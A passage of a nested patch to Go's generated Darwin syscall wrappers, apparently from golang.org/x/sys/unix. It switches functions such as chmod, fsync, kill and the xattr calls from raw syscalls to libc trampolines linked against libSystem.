-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setxattr_trampoline()
-+
-+//go:linkname libc_setxattr libc_setxattr
-+//go:cgo_import_dynamic libc_setxattr setxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fsetxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fsetxattr_trampoline()
-+
-+//go:linkname libc_fsetxattr libc_fsetxattr
-+//go:cgo_import_dynamic libc_fsetxattr fsetxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_removexattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_removexattr_trampoline()
-+
-+//go:linkname libc_removexattr libc_removexattr
-+//go:cgo_import_dynamic libc_removexattr removexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_fremovexattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fremovexattr_trampoline()
-+
-+//go:linkname libc_fremovexattr libc_fremovexattr
-+//go:cgo_import_dynamic libc_fremovexattr fremovexattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_listxattr_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_listxattr_trampoline()
-+
-+//go:linkname libc_listxattr libc_listxattr
-+//go:cgo_import_dynamic libc_listxattr listxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := syscall_syscall6(funcPC(libc_flistxattr_trampoline), uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_flistxattr_trampoline()
-+
-+//go:linkname libc_flistxattr libc_flistxattr
-+//go:cgo_import_dynamic libc_flistxattr flistxattr "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := syscall_syscall6(funcPC(libc_setattrlist_trampoline), uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_setattrlist_trampoline()
-+
-+//go:linkname libc_setattrlist libc_setattrlist
-+//go:cgo_import_dynamic libc_setattrlist setattrlist "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fcntl_trampoline), uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fcntl_trampoline()
-+
-+//go:linkname libc_fcntl libc_fcntl
-+//go:cgo_import_dynamic libc_fcntl fcntl "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func kill(pid int, signum int, posix int) (err error) {
-- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
-+ _, _, e1 := syscall_syscall(funcPC(libc_kill_trampoline), uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_kill_trampoline()
-+
-+//go:linkname libc_kill libc_kill
-+//go:cgo_import_dynamic libc_kill kill "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func ioctl(fd int, req uint, arg uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_IOCTL, uintptr(fd), uintptr(req), uintptr(arg))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ioctl_trampoline), uintptr(fd), uintptr(req), uintptr(arg))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_ioctl_trampoline()
-+
-+//go:linkname libc_ioctl libc_ioctl
-+//go:cgo_import_dynamic libc_ioctl ioctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_sysctl_trampoline), uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sysctl_trampoline()
-+
-+//go:linkname libc_sysctl libc_sysctl
-+//go:cgo_import_dynamic libc_sysctl sysctl "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := syscall_syscall9(funcPC(libc_sendfile_trampoline), uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_sendfile_trampoline()
-+
-+//go:linkname libc_sendfile libc_sendfile
-+//go:cgo_import_dynamic libc_sendfile sendfile "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Access(path string, mode uint32) (err error) {
-@@ -414,23 +799,33 @@ func Access(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_access_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_access_trampoline()
-+
-+//go:linkname libc_access libc_access
-+//go:cgo_import_dynamic libc_access access "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Adjtime(delta *Timeval, olddelta *Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_ADJTIME, uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_adjtime_trampoline), uintptr(unsafe.Pointer(delta)), uintptr(unsafe.Pointer(olddelta)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_adjtime_trampoline()
-+
-+//go:linkname libc_adjtime libc_adjtime
-+//go:cgo_import_dynamic libc_adjtime adjtime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chdir(path string) (err error) {
-@@ -439,13 +834,18 @@ func Chdir(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chdir_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chdir_trampoline()
-+
-+//go:linkname libc_chdir libc_chdir
-+//go:cgo_import_dynamic libc_chdir chdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chflags(path string, flags int) (err error) {
-@@ -454,13 +854,18 @@ func Chflags(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHFLAGS, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chflags_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chflags_trampoline()
-+
-+//go:linkname libc_chflags libc_chflags
-+//go:cgo_import_dynamic libc_chflags chflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chmod(path string, mode uint32) (err error) {
-@@ -469,13 +874,18 @@ func Chmod(path string, mode uint32) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHMOD, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chmod_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chmod_trampoline()
-+
-+//go:linkname libc_chmod libc_chmod
-+//go:cgo_import_dynamic libc_chmod chmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chown(path string, uid int, gid int) (err error) {
-@@ -484,13 +894,18 @@ func Chown(path string, uid int, gid int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHOWN, uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_chown_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chown_trampoline()
-+
-+//go:linkname libc_chown libc_chown
-+//go:cgo_import_dynamic libc_chown chown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Chroot(path string) (err error) {
-@@ -499,27 +914,52 @@ func Chroot(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_chroot_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_chroot_trampoline()
-+
-+//go:linkname libc_chroot libc_chroot
-+//go:cgo_import_dynamic libc_chroot chroot "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ClockGettime(clockid int32, time *Timespec) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_clock_gettime_trampoline), uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_clock_gettime_trampoline()
-+
-+//go:linkname libc_clock_gettime libc_clock_gettime
-+//go:cgo_import_dynamic libc_clock_gettime clock_gettime "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_close_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_close_trampoline()
-+
-+//go:linkname libc_close libc_close
-+//go:cgo_import_dynamic libc_close close "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup(fd int) (nfd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(fd), 0, 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_dup_trampoline), uintptr(fd), 0, 0)
- nfd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -527,16 +967,26 @@ func Dup(fd int) (nfd int, err error) {
- return
- }
-
-+func libc_dup_trampoline()
-+
-+//go:linkname libc_dup libc_dup
-+//go:cgo_import_dynamic libc_dup dup "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Dup2(from int, to int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(from), uintptr(to), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_dup2_trampoline), uintptr(from), uintptr(to), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_dup2_trampoline()
-+
-+//go:linkname libc_dup2 libc_dup2
-+//go:cgo_import_dynamic libc_dup2 dup2 "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exchangedata(path1 string, path2 string, options int) (err error) {
-@@ -550,20 +1000,30 @@ func Exchangedata(path1 string, path2 string, options int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_EXCHANGEDATA, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ _, _, e1 := syscall_syscall(funcPC(libc_exchangedata_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_exchangedata_trampoline()
-+
-+//go:linkname libc_exchangedata libc_exchangedata
-+//go:cgo_import_dynamic libc_exchangedata exchangedata "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Exit(code int) {
-- Syscall(SYS_EXIT, uintptr(code), 0, 0)
-+ syscall_syscall(funcPC(libc_exit_trampoline), uintptr(code), 0, 0)
- return
- }
-
-+func libc_exit_trampoline()
-+
-+//go:linkname libc_exit libc_exit
-+//go:cgo_import_dynamic libc_exit exit "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -572,43 +1032,63 @@ func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_faccessat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_faccessat_trampoline()
-+
-+//go:linkname libc_faccessat libc_faccessat
-+//go:cgo_import_dynamic libc_faccessat faccessat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchdir_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchdir_trampoline()
-+
-+//go:linkname libc_fchdir libc_fchdir
-+//go:cgo_import_dynamic libc_fchdir fchdir "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchflags(fd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHFLAGS, uintptr(fd), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchflags_trampoline), uintptr(fd), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchflags_trampoline()
-+
-+//go:linkname libc_fchflags libc_fchflags
-+//go:cgo_import_dynamic libc_fchflags fchflags "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchmod_trampoline), uintptr(fd), uintptr(mode), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmod_trampoline()
-+
-+//go:linkname libc_fchmod libc_fchmod
-+//go:cgo_import_dynamic libc_fchmod fchmod "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-@@ -617,23 +1097,33 @@ func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHMODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchmodat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchmodat_trampoline()
-+
-+//go:linkname libc_fchmodat libc_fchmodat
-+//go:cgo_import_dynamic libc_fchmodat fchmodat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchown(fd int, uid int, gid int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHOWN, uintptr(fd), uintptr(uid), uintptr(gid))
-+ _, _, e1 := syscall_syscall(funcPC(libc_fchown_trampoline), uintptr(fd), uintptr(uid), uintptr(gid))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchown_trampoline()
-+
-+//go:linkname libc_fchown libc_fchown
-+//go:cgo_import_dynamic libc_fchown fchown "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-@@ -642,27 +1132,37 @@ func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fchownat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_fchownat_trampoline()
-+
-+//go:linkname libc_fchownat libc_fchownat
-+//go:cgo_import_dynamic libc_fchownat fchownat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_flock_trampoline), uintptr(fd), uintptr(how), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_flock_trampoline()
-+
-+//go:linkname libc_flock libc_flock
-+//go:cgo_import_dynamic libc_flock flock "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Fpathconf(fd int, name int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FPATHCONF, uintptr(fd), uintptr(name), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_fpathconf_trampoline), uintptr(fd), uintptr(name), 0)
- val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -670,99 +1170,97 @@ func Fpathconf(fd int, name int) (val int, err error) {
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fpathconf_trampoline()
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fpathconf libc_fpathconf
-+//go:cgo_import_dynamic libc_fpathconf fpathconf "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+func Fsync(fd int) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fsync_trampoline), uintptr(fd), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_fsync_trampoline()
-
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_fsync libc_fsync
-+//go:cgo_import_dynamic libc_fsync fsync "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Ftruncate(fd int, length int64) (err error) {
-- _, _, e1 := Syscall(SYS_FTRUNCATE, uintptr(fd), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_ftruncate_trampoline), uintptr(fd), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+func libc_ftruncate_trampoline()
-+
-+//go:linkname libc_ftruncate libc_ftruncate
-+//go:cgo_import_dynamic libc_ftruncate ftruncate "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getdtablesize() (size int) {
-- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_getdtablesize_trampoline), 0, 0, 0)
- size = int(r0)
- return
- }
-
-+func libc_getdtablesize_trampoline()
-+
-+//go:linkname libc_getdtablesize libc_getdtablesize
-+//go:cgo_import_dynamic libc_getdtablesize getdtablesize "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getegid_trampoline), 0, 0, 0)
- egid = int(r0)
- return
- }
-
-+func libc_getegid_trampoline()
-+
-+//go:linkname libc_getegid libc_getegid
-+//go:cgo_import_dynamic libc_getegid getegid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_geteuid_trampoline), 0, 0, 0)
- uid = int(r0)
- return
- }
-
-+func libc_geteuid_trampoline()
-+
-+//go:linkname libc_geteuid libc_geteuid
-+//go:cgo_import_dynamic libc_geteuid geteuid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getgid_trampoline), 0, 0, 0)
- gid = int(r0)
- return
- }
-
-+func libc_getgid_trampoline()
-+
-+//go:linkname libc_getgid libc_getgid
-+//go:cgo_import_dynamic libc_getgid getgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-+ r0, _, e1 := syscall_rawSyscall(funcPC(libc_getpgid_trampoline), uintptr(pid), 0, 0)
- pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -770,34 +1268,54 @@ func Getpgid(pid int) (pgid int, err error) {
- return
- }
-
-+func libc_getpgid_trampoline()
-+
-+//go:linkname libc_getpgid libc_getpgid
-+//go:cgo_import_dynamic libc_getpgid getpgid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpgrp() (pgrp int) {
-- r0, _, _ := RawSyscall(SYS_GETPGRP, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpgrp_trampoline), 0, 0, 0)
- pgrp = int(r0)
- return
- }
-
-+func libc_getpgrp_trampoline()
-+
-+//go:linkname libc_getpgrp libc_getpgrp
-+//go:cgo_import_dynamic libc_getpgrp getpgrp "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getpid_trampoline), 0, 0, 0)
- pid = int(r0)
- return
- }
-
-+func libc_getpid_trampoline()
-+
-+//go:linkname libc_getpid libc_getpid
-+//go:cgo_import_dynamic libc_getpid getpid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-+ r0, _, _ := syscall_rawSyscall(funcPC(libc_getppid_trampoline), 0, 0, 0)
- ppid = int(r0)
- return
- }
-
-+func libc_getppid_trampoline()
-+
-+//go:linkname libc_getppid libc_getppid
-+//go:cgo_import_dynamic libc_getppid getppid "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getpriority_trampoline), uintptr(which), uintptr(who), 0)
- prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
